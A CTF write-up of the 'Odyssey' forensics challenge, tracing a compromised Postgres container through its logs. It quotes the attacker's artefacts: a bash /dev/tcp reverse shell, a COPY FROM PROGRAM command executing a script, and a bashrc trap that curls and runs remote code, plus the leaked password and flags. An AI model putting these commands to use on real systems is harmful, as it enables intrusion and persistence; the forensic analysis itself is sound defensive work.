4 minute read

A write-up of the “Odyssey” container memory export forensic analysis challenge from 5Charlie CTF.

Odyssey 1

Odyssey 1 - Challenge

One of our containers has been compromised! A quick thinking sysadmin managed to export a copy of the running container. Use the archive to determine what happened.

When was the last root login for this container? (format: MMM DD HH:MM:SS, use container local time)

Attachments: ulysses_postgres.tar.gz

Odyssey 1 - Solution

Likely a terrible idea, especially given the scenario that it was “compromised”, but I began this challenge by importing it in Docker. I don’t recommend this in hindsight, but here we are.

cat ulysses_postgres.tar.gz| docker import -

We acquire the image ID with the following

docker images
REPOSITORY             TAG                 IMAGE ID            CREATED             SIZE
<none>                 <none>              6edaaebe2798        2 minutes ago       369MB

In this case our image ID is 6edaaebe2798, which we’ll then start up.

docker run --rm -it 6edaaebe2798 /bin/sh
  • --rm: Remove the container immediately after it is closed
  • -i: Keep STDIN open
  • -t: Allocate a pseudo-TTY

To get the last login time, we can look to /var/log/auth.log

cat /var/log/auth.log
Apr 18 06:10:06 4853fe8cb6a2 sudo: pam_unix(sudo:session): session opened for user root by (uid=0)

Flag: Apr 18 06:10:06

Odyssey 2

Odyssey 2 - Challenge

What is the IP address of the client that abused a legitimate service to access this container?

Odyssey 2 - Solution

In the previous section we saw that the only unique directories in /var/log were postgresql and exim4. Let’s dig into postgres.

cd /var/log/postgresql
cat postgresql-2020-04-18_060048.csv

Skimming the file a few things look a tad peculiar, but this line in particular is a dead giveaway that a reverse shell has been dropped.

2020-04-18 06:07:34.075 UTC,"ulysses","ithaca",131,"",5e9a9827.83,7,"idle",2020-04-18 06:03:19 UTC,3/11,0,LOG,00000,"statement: INSERT INTO scylla(t) VALUES('bash -i >& /dev/tcp/ 0>&1');",,,,,,,,,"psql"

Luckily, this line also gives us the flag.


Odyssey 3

Odyssey 3 - Challenge

What is the name of the postgres user on this container?

Odyssey 3 - Solution

Continuing from the previous section, and assuming you’re in the docker container like I was.

ls -l
-rw------- 1 postgres postgres 8357 Apr 18 06:11 postgresql-2020-04-18_060048.csv
-rw------- 1 postgres postgres  312 Apr 18 06:00 postgresql-2020-04-18_060048.log


Flag: postgres

Odyssey 4

Odyssey 4 - Challenge

What is the name of the first table the malicious client created?

Odyssey 4 - Solution

Let’s just look for it in the log we found earlier.

cat postgresql-2020-04-18_060048.csv | grep -i 'table'

We see our solution near the top

2020-04-18 06:07:34.049 UTC,"ulysses","ithaca",131,"",5e9a9827.83,6,"idle",2020-04-18 06:03:19 UTC,3/10,0,LOG,00000,"statement: CREATE TABLE scylla (t TEXT);",,,,,,,,,"psql"

Flag: scylla

Odyssey 5

Odyssey 5 - Challenge

What is the full path of the file created through postgres on the host?

Odyssey 5 - Solution

cat postgresql-2020-04-18_060048.csv

It’s incredibly nice that this log is so short and we can just visually observe.

2020-04-18 06:08:06.051 UTC,"ulysses","ithaca",131,"",5e9a9827.83,11,"idle",2020-04-18 06:03:19 UTC,3/15,0,LOG,00000,"statement: COPY hail_charybdis FROM PROGRAM 'bash ""/tmp/neptune.sh""';",,,,,,,,,"psql"

Flag: /tmp/neptune.sh

Odyssey 6

Odyssey 6 - Challenge

What is the IP address of the host used for initial command and control?

Odyssey 6 - Solution

2020-04-18 06:07:34.075 UTC,"ulysses","ithaca",131,"",5e9a9827.83,7,"idle",2020-04-18 06:03:19 UTC,3/11,0,LOG,00000,"statement: INSERT INTO scylla(t) VALUES('bash -i >& /dev/tcp/ 0>&1');",,,,,,,,,"psql"


Odyssey 7

Odyssey 7 - Challenge

What is the full url curled by the persistence mechanism installed on this host?

Odyssey 7 - Solution

No hints in logs, so let’s look elsewhere. I usually like ls -latr to sort by modification time for finding persistence, but it looks like everything was changed pretty close to the same time and/or timestomped.

I’m lazy, we know it performs curl, let’s just find it.

grep -R 'curl' / 2>/dev/null

Almost immediately we receive a match on the following:

/etc/bashrc:trap 'bash <(curl -s http://5charlie.xyz/index)' 2 3

Flag: http://5charlie.xyz/index

Odyssey 8

Odyssey 8 - Challenge

The curl to 5charlie.xyz is triggered by which process signals? (format: signame,signame)

Odyssey 8 - Solution

The trap command executes a command when the shell receives a signal. You can see the signals in their numeric forms in the command above. We just need to look up a reference to understand what they correlate to, for those of us who don’t have them memorized. https://ss64.com/bash/trap.html

2     SIGINT  Interrupt (CTRL-C)
3     SIGQUIT  Quit


Odyssey 9

Odyssey 9 - Challenge

We’re not sure how the attacker got credentials to this system in the first place. Only the ulysses_postgres developers should have known the password and there is no evidence of brute force… Perhaps the project was exposed somewhere? Razamuhin has always been a little careless with project data. What is the postgres password?

Odyssey 9 - Solution

This one we’re not gonna find on the system. To the Internet! Google doesn’t return anything useful for “Razamuhin” at the time this was written, but let’s head to Github specifically, as that’s a common source for code hosting.



Digging into startup.sh we see the run line:

docker run -d -e POSTGRES_USER=ulysses -e POSTGRES_DB=ithaca -e POSTGRES_PASSWORD=telemachus -v "$(pwd)/postgresql.conf":/etc/postgresql/postgresql.conf ulysses_postgres -c 'config_file=/etc/postgresql/postgresql.conf'

Flag: telemachus

Odyssey 10

Odyssey 10 - Challenge

What is the flag hidden in the project repository?

Odyssey 10 - Solution

There’s nothing in the main directory of the repo, but in git repositories, sometimes there’s some fun stuff in the history.


The commit Wait no:c299b844c758b85de04ec55ddfa18e5d00c16f57 seems suspicious.



Flag: flag{curiosity_killed_the_crew}